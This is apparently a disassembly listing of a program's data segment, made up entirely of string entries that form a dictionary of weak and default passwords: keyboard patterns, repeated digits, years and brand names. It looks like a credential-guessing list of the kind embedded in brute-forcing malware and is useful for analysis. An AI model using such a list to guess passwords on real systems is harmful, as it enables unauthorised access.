a112233		db '112233',0           ; DATA XREF: seg002:0042E6E0o
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: seg002:0042E6DCo
		align 4
a3edc		db '3edc',0             ; DATA XREF: seg002:0042E6D8o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: seg002:0042E6D4o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: seg002:0042E6D0o
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg002:0042E6CCo
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg002:0042E6C8o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg002:0042E6C4o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg002:0042E6C0o
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg002:0042E6BCo
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg002:0042E6B8o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg002:0042E6B4o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: seg002:0042E6B0o
		align 4
aAass		db 'aass',0             ; DATA XREF: seg002:0042E6ACo
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: seg002:0042E6A8o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg002:0042E6A4o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg002:0042E6A0o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg002:0042E69Co
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: seg002:0042E698o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg002:0042E694o
aZz		db 'zz',0               ; DATA XREF: seg002:0042E690o
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg002:0042E688o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg002:0042E684o
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: seg002:0042E680o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: seg002:0042E67Co
aQq		db 'qq',0               ; DATA XREF: seg002:0042E678o
		align 10h
aQ:					; DATA XREF: seg002:0042E674o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: seg002:0042E670o
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: seg002:0042E66Co
		align 4
aWwww		db 'wwww',0             ; DATA XREF: seg002:0042E668o
		align 4
aWww		db 'www',0              ; DATA XREF: seg002:0042E664o
aWw		db 'ww',0               ; DATA XREF: seg002:0042E660o
		align 4
aW:					; DATA XREF: seg002:0042E65Co
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg002:0042E658o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg002:0042E654o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: seg002:0042E650o
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: seg000:0040F4D1o
					; seg002:0042E64Co
aVv		db 'vv',0               ; DATA XREF: seg000:0040E636o
					; seg002:0042E648o
		align 4
aV:					; DATA XREF: seg002:0042E644o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg002:0042E640o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg002:0042E63Co
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg002:0042E638o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: seg002:0042E634o
aYy		db 'yy',0               ; DATA XREF: seg002:0042E630o
		align 4
aY:					; DATA XREF: seg002:0042E62Co
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg002:0042E628o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: seg002:0042E624o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: seg002:0042E620o
		align 4
aTtt		db 'ttt',0              ; DATA XREF: seg002:0042E61Co
aTt		db 'tt',0               ; DATA XREF: seg002:0042E618o
		align 10h
aT:					; DATA XREF: seg002:0042E614o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg002:0042E610o
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg002:0042E60Co
		align 4
aSsss		db 'ssss',0             ; DATA XREF: seg002:0042E608o
		align 4
aSss		db 'sss',0              ; DATA XREF: seg002:0042E604o
aSs_1		db 'ss',0               ; DATA XREF: seg002:0042E600o
		align 4
aS_4:					; DATA XREF: seg002:0042E5FCo
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg002:0042E5F8o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg002:0042E5F4o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: seg002:0042E5F0o
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: seg002:0042E5ECo
aUu		db 'uu',0               ; DATA XREF: seg002:0042E5E8o
		align 4
aU:					; DATA XREF: seg002:0042E5E4o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg002:0042E5E0o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: seg002:0042E5DCo
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg002:0042E5D8o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: seg002:0042E5D4o
aPp		db 'pp',0               ; DATA XREF: seg002:0042E5D0o
		align 4
aP:					; DATA XREF: seg002:0042E5CCo
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg002:0042E5C8o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: seg002:0042E5C4o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: seg002:0042E5C0o
		align 4
aOoo		db 'ooo',0              ; DATA XREF: seg002:0042E5BCo
aOo		db 'oo',0               ; DATA XREF: seg002:0042E5B8o
		align 10h
aO:					; DATA XREF: seg002:0042E5B4o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: seg002:0042E5B0o
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: seg002:0042E5ACo
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: seg002:0042E5A8o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: seg002:0042E5A4o
aNn		db 'nn',0               ; DATA XREF: seg002:0042E5A0o
		align 4
aN:					; DATA XREF: seg002:0042E59Co
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: seg002:0042E598o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: seg002:0042E594o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: seg002:0042E590o
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: seg002:0042E58Co
aMm		db 'mm',0               ; DATA XREF: seg002:0042E588o
		align 4
aM:					; DATA XREF: seg002:0042E584o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: seg002:0042E580o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: seg002:0042E57Co
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg002:0042E578o
		align 4
aLll		db 'lll',0              ; DATA XREF: seg002:0042E574o
aLl		db 'll',0               ; DATA XREF: seg002:0042E570o
		align 4
asc_42EA2C:				; DATA XREF: seg002:0042E56Co
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: seg002:0042E568o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: seg002:0042E564o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: seg002:0042E560o
		align 4
aKkk		db 'kkk',0              ; DATA XREF: seg002:0042E55Co
aKk		db 'kk',0               ; DATA XREF: seg002:0042E558o
		align 10h
aK:					; DATA XREF: seg002:0042E554o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: seg002:0042E550o
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: seg002:0042E54Co
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: seg002:0042E548o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: seg002:0042E544o
aJj		db 'jj',0               ; DATA XREF: seg002:0042E540o
		align 4
aJ:					; DATA XREF: seg002:0042E53Co
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: seg002:0042E538o
		align 10h
aIiiii		db 'iiiii',0            ; DATA XREF: seg002:0042E534o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: seg002:0042E530o
		align 10h
aIii		db 'iii',0              ; DATA XREF: seg002:0042E52Co
aIi		db 'ii',0               ; DATA XREF: seg002:0042E528o
		align 4
aI_0:					; DATA XREF: seg002:0042E524o
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: seg002:0042E520o
		align 4
aHhhhh		db 'hhhhh',0
		align 4
aHhhh		db 'hhhh',0
		align 4
aHhh		db 'hhh',0
aHh		db 'hh',0               ; DATA XREF: seg002:0042E510o
		align 4
		unicode	0, <h>,0
aGggggg		db 'gggggg',0
		align 4
aGgggg		db 'ggggg',0
		align 10h
aGggg		db 'gggg',0
		align 4
aGgg		db 'ggg',0
aGg		db 'gg',0
		align 10h
aG:
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0
		align 4
aEeeee		db 'eeeee',0
		align 4
aEeee		db 'eeee',0
		align 4
aEee		db 'eee',0
aEe		db 'ee',0               ; DATA XREF: seg002:0042E4E0o
		align 4
aE:					; DATA XREF: seg002:0042E4DCo
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: seg002:0042E4D8o
		align 10h
aFfff		db 'ffff',0
		align 4
aFff		db 'fff',0
aFf		db 'ff',0
		align 10h
aF:
		unicode	0, <f>,0
aDdddd		db 'ddddd',0
		align 4
aDddd		db 'dddd',0
		align 4
aDdd		db 'ddd',0
aDd		db 'dd',0
		align 4
aD:
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: seg002:0042E4ACo
		align 4
aCcccccc	db 'ccccccc',0
aCccccc		db 'cccccc',0           ; DATA XREF: seg002:0042E4A4o
		align 4
aCcccc		db 'ccccc',0
		align 10h
aCccc_0		db 'cccc',0             ; DATA XREF: seg002:0042E49Co
		align 4
aCcc		db 'ccc',0              ; DATA XREF: seg002:0042E498o
aCc		db 'cc',0               ; DATA XREF: seg002:0042E494o
		align 10h
aC_1:
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg002:0042E48Co
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: seg002:0042E488o
		align 4
aBbbbbbb	db 'bbbbbbb',0
aBbbbbb		db 'bbbbbb',0
		align 4
aBbbbb		db 'bbbbb',0
		align 4
aBbbb		db 'bbbb',0
		align 4
aBbb		db 'bbb',0
aBb		db 'bb',0               ; DATA XREF: seg002:0042E470o
		align 4
aB_0:					; DATA XREF: seg002:0042E46Co
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: seg002:0042E468o
aEdc		db 'edc',0
aWsx		db 'wsx',0
aQaz		db 'qaz',0
aAsdfghjkl	db 'asdfghjkl',0
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: seg002:0042E454o
		align 10h
aAsdfghj	db 'asdfghj',0          ; DATA XREF: seg002:0042E450o
aAsdfgh		db 'asdfgh',0
		align 10h
aAsdfg		db 'asdfg',0
		align 4
aAs		db 'as',0
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg002:0042E438o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg002:0042E434o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: seg002:0042E430o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: seg002:0042E428o
aZx		db 'zx',0               ; DATA XREF: seg002:0042E424o
		align 4
aZ:					; DATA XREF: seg002:0042E420o
					; seg002:0042E68Co
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg002:0042E41Co
aToyota		db 'TOYOTA',0           ; DATA XREF: seg002:0042E3E4o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: seg002:0042E3E0o
aKor_0		db 'kor',0              ; DATA XREF: seg002:0042E3D8o
aChi		db 'chi',0              ; DATA XREF: seg002:0042E3D4o
aChi_0		db 'CHI',0              ; DATA XREF: seg002:0042E3D0o
aSystem		db 'system',0           ; DATA XREF: seg002:0042E3C8o
					; seg002:0042E70Co
		align 4
aServices	db 'services',0         ; DATA XREF: seg002:0042E3C4o
		align 4
aServers	db 'servers',0          ; DATA XREF: seg002:0042E3C0o
aServer_0	db 'server',0           ; DATA XREF: seg002:0042E3B8o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg002:0042E3B0o
		align 10h
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg002:0042E3ACo
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg002:0042E3A8o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: seg002:0042E3A4o
aQwe		db 'qwe',0              ; DATA XREF: seg002:0042E394o
aQw		db 'qw',0               ; DATA XREF: seg002:0042E390o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg002:0042E38Co
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: seg002:0042E388o
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg002:0042E384o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg002:0042E380o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg002:0042E37Co
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg002:0042E378o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg002:0042E374o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: seg002:0042E370o
		align 4
aAa		db 'aa',0               ; DATA XREF: seg002:0042E368o
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: seg002:0042E35Co
		align 4
aSex		db 'SEX',0              ; DATA XREF: seg002:0042E358o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg002:0042E354o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg002:0042E350o
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg002:0042E34Co
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg002:0042E348o
		align 10h
aSony_0		db 'SONY',0             ; DATA XREF: seg002:0042E344o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg002:0042E340o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg002:0042E33Co
aSony		db 'sony',0             ; DATA XREF: seg002:0042E338o
		align 10h
a7654321	db '7654321',0          ; DATA XREF: seg002:0042E334o
a4321		db '4321',0             ; DATA XREF: seg002:0042E328o
		align 10h
a321		db '321',0              ; DATA XREF: seg002:0042E324o
a2006		db '2006',0             ; DATA XREF: seg002:0042E31Co
		align 4
a2005		db '2005',0             ; DATA XREF: seg002:0042E318o
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:0042E314o
		align 4
a2001		db '2001',0             ; DATA XREF: seg002:0042E308o
		align 4
a2000		db '2000',0             ; DATA XREF: seg002:0042E304o
		align 4
a1999		db '1999',0             ; DATA XREF: seg002:0042E300o
		align 4
a1998		db '1998',0             ; DATA XREF: seg002:0042E2FCo
		align 4
a1997		db '1997',0             ; DATA XREF: seg002:0042E2F8o
		align 4
a1996		db '1996',0             ; DATA XREF: seg002:0042E2F4o
		align 4
a1995		db '1995',0             ; DATA XREF: seg002:0042E2F0o
		align 4
a1994		db '1994',0             ; DATA XREF: seg002:0042E2ECo
		align 4
a1993		db '1993',0             ; DATA XREF: seg002:0042E2E8o
		align 4
a1992		db '1992',0             ; DATA XREF: seg002:0042E2E4o
		align 4
a1991		db '1991',0             ; DATA XREF: seg002:0042E2E0o
		align 4
a1990		db '1990',0             ; DATA XREF: seg002:0042E2DCo
		align 4
a1989		db '1989',0             ; DATA XREF: seg002:0042E2D8o
		align 4
a1988		db '1988',0             ; DATA XREF: seg002:0042E2D4o
		align 4
a1987		db '1987',0             ; DATA XREF: seg002:0042E2D0o
		align 4
a1986		db '1986',0             ; DATA XREF: seg002:0042E2CCo
		align 4
a1985		db '1985',0             ; DATA XREF: seg002:0042E2C8o
		align 4
a1984		db '1984',0             ; DATA XREF: seg002:0042E2C4o
		align 4
a1983		db '1983',0             ; DATA XREF: seg002:0042E2C0o
		align 4
a1982		db '1982',0             ; DATA XREF: seg002:0042E2BCo
		align 4
a1981		db '1981',0             ; DATA XREF: seg002:0042E2B8o
		align 4
a1980		db '1980',0             ; DATA XREF: seg002:0042E2B4o
		align 4
a1979		db '1979',0             ; DATA XREF: seg002:0042E2B0o
		align 4
a1978		db '1978',0             ; DATA XREF: seg002:0042E2ACo
		align 4
a1977		db '1977',0             ; DATA XREF: seg002:0042E2A8o
		align 4
a1976		db '1976',0             ; DATA XREF: seg002:0042E2A4o
		align 4
a1975		db '1975',0             ; DATA XREF: seg002:0042E2A0o
		align 4
a1974		db '1974',0             ; DATA XREF: seg002:0042E29Co
		align 4
a1973		db '1973',0             ; DATA XREF: seg002:0042E298o
		align 4
a1972		db '1972',0             ; DATA XREF: seg002:0042E294o
		align 4
a1971		db '1971',0             ; DATA XREF: seg002:0042E290o
		align 4
a1970		db '1970',0             ; DATA XREF: seg002:0042E28Co
		align 4
a1969		db '1969',0             ; DATA XREF: seg002:0042E288o
		align 4
a1968		db '1968',0             ; DATA XREF: seg002:0042E284o
		align 4
a1967		db '1967',0             ; DATA XREF: seg002:0042E280o
		align 4
a1966		db '1966',0             ; DATA XREF: seg002:0042E27Co
		align 4
a1965		db '1965',0             ; DATA XREF: seg002:0042E278o
		align 4
a1964		db '1964',0             ; DATA XREF: seg002:0042E274o
		align 4
a1963		db '1963',0             ; DATA XREF: seg002:0042E270o
		align 4
a1962		db '1962',0             ; DATA XREF: seg002:0042E26Co
		align 4
a1961		db '1961',0             ; DATA XREF: seg002:0042E268o
		align 4
a1960		db '1960',0             ; DATA XREF: seg002:0042E264o
		align 4
a1959		db '1959',0             ; DATA XREF: seg002:0042E260o
		align 4
a1958		db '1958',0             ; DATA XREF: seg002:0042E25Co
		align 4
a1957		db '1957',0             ; DATA XREF: seg002:0042E258o
		align 4
a1956		db '1956',0             ; DATA XREF: seg002:0042E254o
		align 4
a1955		db '1955',0             ; DATA XREF: seg002:0042E250o
		align 4
a1954		db '1954',0             ; DATA XREF: seg002:0042E24Co
		align 4
a1953		db '1953',0             ; DATA XREF: seg002:0042E248o
		align 4
a1952		db '1952',0             ; DATA XREF: seg002:0042E244o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: seg002:0042E240o
a1234asd	db '1234asd',0          ; DATA XREF: seg002:0042E23Co
a1234abc	db '1234abc',0          ; DATA XREF: seg002:0042E238o
a123qwer	db '123qwer',0          ; DATA XREF: seg002:0042E224o
a12qwe		db '12qwe',0            ; DATA XREF: seg002:0042E220o
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg002:0042E21Co
		align 4
a12abc		db '12abc',0            ; DATA XREF: seg002:0042E218o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg002:0042E214o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: seg002:0042E210o
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg002:0042E20Co
		align 4
a1abc		db '1abc',0             ; DATA XREF: seg002:0042E208o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg002:0042E204o
		align 4
a123467890	db '123467890',0        ; DATA XREF: seg002:0042E200o
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg002:0042E1FCo
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg002:0042E1F8o
a123467		db '123467',0           ; DATA XREF: seg002:0042E1F4o
		align 4
a12346		db '12346',0            ; DATA XREF: seg002:0042E1F0o
		align 4
a121		db '121',0              ; DATA XREF: seg002:0042E1C8o
a1020		db '1020',0             ; DATA XREF: seg002:0042E1C0o
		align 4
a0258		db '0258',0             ; DATA XREF: seg002:0042E1BCo
		align 10h
a8520		db '8520',0             ; DATA XREF: seg002:0042E1B8o
		align 4
a987		db '987',0              ; DATA XREF: seg002:0042E1B4o
a789		db '789',0              ; DATA XREF: seg002:0042E1B0o
a654		db '654',0              ; DATA XREF: seg002:0042E1ACo
a456		db '456',0              ; DATA XREF: seg002:0042E1A8o
a1122		db '1122',0             ; DATA XREF: seg002:0042E1A4o
		align 10h
a0147		db '0147',0             ; DATA XREF: seg002:0042E1A0o
		align 4
a7410		db '7410',0             ; DATA XREF: seg002:0042E19Co
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: seg002:0042E194o
		align 4
a999999999	db '999999999',0        ; DATA XREF: seg002:0042E190o
		align 4
a99999999	db '99999999',0         ; DATA XREF: seg002:0042E18Co
		align 4
a9999999	db '9999999',0          ; DATA XREF: seg002:0042E188o
a999999		db '999999',0           ; DATA XREF: seg002:0042E184o
		align 4
a99999		db '99999',0            ; DATA XREF: seg002:0042E180o
		align 4
a9999		db '9999',0             ; DATA XREF: seg002:0042E17Co
		align 4
a999		db '999',0              ; DATA XREF: seg002:0042E178o
a99		db '99',0               ; DATA XREF: seg002:0042E174o
		align 4
a9:					; DATA XREF: seg002:0042E170o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg002:0042E16Co
		align 4
a888888888	db '888888888',0        ; DATA XREF: seg002:0042E168o
		align 4
a8888888	db '8888888',0          ; DATA XREF: seg002:0042E160o
a888888		db '888888',0           ; DATA XREF: seg002:0042E15Co
		align 4
a88888		db '88888',0            ; DATA XREF: seg002:0042E158o
		align 10h
a8888		db '8888',0             ; DATA XREF: seg002:0042E154o
		align 4
a888		db '888',0              ; DATA XREF: seg002:0042E150o
a88		db '88',0               ; DATA XREF: seg002:0042E14Co
		align 10h
a8:					; DATA XREF: seg002:0042E148o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg002:0042E144o
		align 10h
a777777777	db '777777777',0        ; DATA XREF: seg002:0042E140o
		align 4
a77777777	db '77777777',0         ; DATA XREF: seg002:0042E13Co
		align 4
a7777777	db '7777777',0          ; DATA XREF: seg002:0042E138o
a777777		db '777777',0           ; DATA XREF: seg002:0042E134o
		align 4
a77777		db '77777',0            ; DATA XREF: seg002:0042E130o
		align 10h
a7777		db '7777',0             ; DATA XREF: seg002:0042E12Co
		align 4
a777		db '777',0              ; DATA XREF: seg002:0042E128o
a77		db '77',0               ; DATA XREF: seg002:0042E124o
		align 10h
a7:					; DATA XREF: seg002:0042E120o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg002:0042E11Co
		align 10h
a666666666	db '666666666',0        ; DATA XREF: seg002:0042E118o
		align 4
a66666666	db '66666666',0         ; DATA XREF: seg002:0042E114o
		align 4
a6666666	db '6666666',0          ; DATA XREF: seg002:0042E110o
a666666		db '666666',0           ; DATA XREF: seg002:0042E10Co
		align 4
a66666		db '66666',0            ; DATA XREF: seg002:0042E108o
		align 10h
a6666		db '6666',0             ; DATA XREF: seg002:0042E104o
		align 4
a666		db '666',0              ; DATA XREF: seg002:0042E100o
a66		db '66',0               ; DATA XREF: seg002:0042E0FCo
		align 10h
a6:					; DATA XREF: seg002:0042E0F8o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg002:0042E0F4o
		align 10h
a555555555	db '555555555',0        ; DATA XREF: seg002:0042E0F0o
		align 4
a55555555	db '55555555',0         ; DATA XREF: seg002:0042E0ECo
		align 4
a5555555	db '5555555',0          ; DATA XREF: seg002:0042E0E8o
a555555		db '555555',0           ; DATA XREF: seg002:0042E0E4o
		align 4
a55555		db '55555',0            ; DATA XREF: seg002:0042E0E0o
		align 10h
a5555		db '5555',0             ; DATA XREF: seg002:0042E0DCo
		align 4
a555		db '555',0              ; DATA XREF: seg002:0042E0D8o
a55		db '55',0               ; DATA XREF: seg002:0042E0D4o
		align 10h
a5:					; DATA XREF: seg002:0042E0D0o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg002:0042E0CCo
		align 10h
a444444444	db '444444444',0        ; DATA XREF: seg002:0042E0C8o
		align 4
a44444444	db '44444444',0         ; DATA XREF: seg002:0042E0C4o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg002:0042E0C0o
a444444		db '444444',0           ; DATA XREF: seg002:0042E0BCo
		align 4
a44444		db '44444',0            ; DATA XREF: seg002:0042E0B8o
		align 10h
a4444		db '4444',0             ; DATA XREF: seg002:0042E0B4o
		align 4
a444		db '444',0              ; DATA XREF: seg002:0042E0B0o
a44		db '44',0               ; DATA XREF: seg002:0042E0ACo
		align 10h
a4:					; DATA XREF: seg002:0042E0A8o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg002:0042E0A4o
		align 10h
a333333333	db '333333333',0        ; DATA XREF: seg002:0042E0A0o
		align 4
a33333333	db '33333333',0         ; DATA XREF: seg002:0042E09Co
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg002:0042E098o
a333333		db '333333',0           ; DATA XREF: seg002:0042E094o
		align 4
a33333		db '33333',0            ; DATA XREF: seg002:0042E090o
		align 10h
a3333		db '3333',0             ; DATA XREF: seg002:0042E08Co
		align 4
a333		db '333',0              ; DATA XREF: seg002:0042E088o
a33		db '33',0               ; DATA XREF: seg002:0042E084o
		align 10h
a3:					; DATA XREF: seg002:0042E080o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg002:0042E07Co
		align 10h
a222222222	db '222222222',0        ; DATA XREF: seg002:0042E078o
		align 4
a22222222	db '22222222',0         ; DATA XREF: seg002:0042E074o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg002:0042E070o
a222222		db '222222',0           ; DATA XREF: seg002:0042E06Co
		align 4
a22222		db '22222',0            ; DATA XREF: seg002:0042E068o
		align 10h
a2222		db '2222',0             ; DATA XREF: seg002:0042E064o
		align 4
a222		db '222',0              ; DATA XREF: seg002:0042E060o
a22		db '22',0               ; DATA XREF: seg002:0042E05Co
		align 10h
a2:					; DATA XREF: seg002:0042E058o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg002:0042E054o
		align 10h
a111111111	db '111111111',0        ; DATA XREF: seg002:0042E050o
		align 4
a1111111	db '1111111',0          ; DATA XREF: seg002:0042E048o
a11111		db '11111',0            ; DATA XREF: seg002:0042E040o
		align 4
a1111		db '1111',0             ; DATA XREF: seg002:0042E03Co
		align 4
a11		db '11',0               ; DATA XREF: seg002:0042E034o
		align 4
a010		db '010',0              ; DATA XREF: seg002:0042E024o
a009		db '009',0              ; DATA XREF: seg002:0042E020o
a008		db '008',0              ; DATA XREF: seg002:0042E01Co
a006		db '006',0              ; DATA XREF: seg002:0042E014o
a005		db '005',0              ; DATA XREF: seg000:0040D06Ao
					; seg002:0042E010o
a004		db '004',0              ; DATA XREF: seg002:0042E00Co
a003		db '003',0              ; DATA XREF: seg002:0042E008o
a002		db '002',0              ; DATA XREF: seg002:0042E004o
a001		db '001',0              ; DATA XREF: seg000:0040D055o
					; seg002:0042E000o
asc_42F2AC	db '*********',0        ; DATA XREF: seg002:0042DFFCo
		align 4
asc_42F2B8	db '********',0         ; DATA XREF: seg002:0042DFF8o
		align 4
asc_42F2C4	db '*******',0          ; DATA XREF: seg002:0042DFF4o
asc_42F2CC	db '******',0           ; DATA XREF: seg002:0042DFF0o
		align 4
asc_42F2D4	db '*****',0            ; DATA XREF: seg002:0042DFECo
		align 4
asc_42F2DC	db '****',0             ; DATA XREF: seg002:0042DFE8o
		align 4
asc_42F2E4	db '***',0              ; DATA XREF: seg002:0042DFE4o
asc_42F2E8	db '**',0               ; DATA XREF: seg002:0042DFE0o
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: seg002:0042DFD8o
		align 4
a000000000	db '000000000',0
		align 4
a@		db '@!',0               ; DATA XREF: seg002:0042DFB4o
		align 4
a@_0		db '#@!',0              ; DATA XREF: seg002:0042DFB0o
a@_1		db '$#@!',0             ; DATA XREF: seg002:0042DFACo
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: seg002:0042DFA8o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: seg002:0042DFA4o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: seg002:0042DFA0o
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg002:0042DF9Co
		align 4
asc_42F338	db '$$$',0              ; DATA XREF: seg002:0042DF98o
asc_42F33C	db '$$',0               ; DATA XREF: seg002:0042DF94o
		align 10h
asc_42F340:				; DATA XREF: seg002:0042DF90o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg002:0042DF8Co
		align 4
a789_0		db '789+',0             ; DATA XREF: seg002:0042DF88o
		align 4
a0		db '=-0',0              ; DATA XREF: seg002:0042DF84o
asc_42F358	db '--++',0             ; DATA XREF: seg002:0042DF80o
		align 10h
asc_42F360	db '-+',0               ; DATA XREF: seg002:0042DF7Co
		align 4
asc_42F364	db '----',0             ; DATA XREF: seg002:0042DF78o
		align 4
asc_42F36C	db '--',0               ; DATA XREF: seg002:0042DF70o
					; seg002:0042DF74o
		align 10h
asc_42F370:				; DATA XREF: seg002:0042DF6Co
		unicode	0, <->,0
asc_42F374	db '++++',0             ; DATA XREF: seg002:0042DF68o
		align 4
asc_42F37C	db '+++',0              ; DATA XREF: seg002:0042DF64o
asc_42F380	db '++',0               ; DATA XREF: seg002:0042DF60o
		align 4
asc_42F384:				; DATA XREF: seg002:0042DF5Co
